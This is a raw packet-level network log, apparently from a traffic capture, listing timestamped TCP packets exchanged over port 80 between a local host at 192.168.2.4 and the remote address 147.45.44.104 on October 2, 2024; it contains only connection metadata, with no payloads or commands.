Oct 2, 2024 05:20:12.237190008 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237236977 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237248898 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237282991 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237282991 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237369061 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237380981 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237392902 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237404108 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237409115 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237451077 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237456083 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237504005 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237539053 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237550020 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237586021 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237587929 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237624884 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237634897 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237646103 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237659931 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237673044 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237680912 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237680912 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237694025 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237720013 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237735987 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237896919 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237909079 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237920046 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237931967 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237942934 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237945080 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237957001 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237968922 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237968922 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237968922 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237982035 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237987041 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237993956 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238014936 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238014936 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238030910 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238212109 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238224030 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238236904 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238250971 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238276005 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238276005 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238291979 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238356113 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238368034 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238379955 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238393068 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238404989 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238419056 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238419056 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238451958 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238451958 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238663912 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238673925 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238687992 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238699913 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238711119 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238723040 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238725901 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238725901 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238734961 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238745928 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238758087 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238759041 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238759041 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238771915 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238779068 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238785982 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.238821030 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238845110 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.238981009 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239072084 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239108086 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239120007 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239130020 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239141941 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239161968 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239166021 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239166021 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239176035 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239187956 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239198923 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239202023 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239212036 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239223003 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239234924 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239238024 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239245892 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239259005 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239268064 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239268064 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239296913 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239314079 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239578009 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239619017 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239759922 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239770889 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239784002 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239794970 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239806890 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239819050 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239819050 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239819050 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239831924 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239844084 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239850044 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239855051 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239866972 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239876032 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239876032 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239877939 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.239911079 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.239924908 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.420442104 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.420850039 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421089888 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421168089 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421179056 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421190023 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421200037 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421212912 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421216011 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421225071 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421237946 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421245098 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421245098 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421250105 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421262026 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421266079 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421273947 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421276093 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421303988 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421303988 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421319962 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421519041 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421539068 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421550035 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421561956 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421574116 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421578884 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421583891 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421602011 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421605110 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421613932 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421628952 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421636105 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421636105 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421636105 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421642065 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421654940 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421730042 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421865940 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421878099 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421889067 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421928883 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421928883 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.421960115 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421977043 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.421989918 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422005892 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422018051 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422020912 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422020912 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422029972 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422041893 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422065973 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422065973 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422087908 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422295094 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422306061 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422317982 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422368050 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422368050 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422456980 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422475100 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422487020 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422503948 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422514915 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422525883 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422528028 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422538996 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422549963 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422550917 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422563076 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.422574997 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422604084 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.422604084 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.604168892 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.609098911 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786791086 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786818981 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786839008 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786848068 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786856890 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786858082 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.786865950 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786883116 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.786896944 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.786901951 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786911964 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786938906 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.786962032 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786973953 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.786986113 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787005901 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787089109 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787102938 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787120104 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787134886 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787154913 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787169933 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787205935 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787256956 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787269115 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787280083 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787292004 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787296057 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787307978 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787319899 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787337065 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787405968 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787416935 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787422895 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787436962 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787451029 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787467003 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787475109 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787524939 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787573099 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787628889 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787641048 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787652969 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787664890 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787667990 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787678003 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787678957 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787692070 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787698030 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787707090 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787727118 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787822962 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787825108 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787863970 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.787966967 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787978888 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.787990093 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788002968 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788016081 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788022995 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788022995 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788029909 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788041115 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788043976 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788057089 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788074970 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788084030 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788203955 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788216114 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788239956 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788255930 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788266897 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788281918 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788312912 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788414955 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788425922 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788430929 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788436890 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788441896 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788500071 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788615942 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788629055 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788645029 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788656950 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788666010 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788669109 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788687944 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788688898 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788691044 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788703918 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788727045 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.788856983 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788868904 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.788906097 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789014101 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789026022 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789036989 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789048910 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789052010 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789062977 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789069891 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789082050 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789082050 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789093018 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789093971 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789105892 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789110899 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789118052 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789122105 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789130926 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789143085 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789146900 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789154053 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789167881 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789169073 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789169073 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789180040 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789180040 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789192915 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789195061 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789207935 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789222002 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789237022 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789642096 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789654016 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789664030 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789679050 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789690971 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789693117 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789701939 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789705992 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789724112 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789747000 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789747953 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.789907932 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789918900 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.789930105 CEST	80	49782	147.45.44.104	192.168.2.4
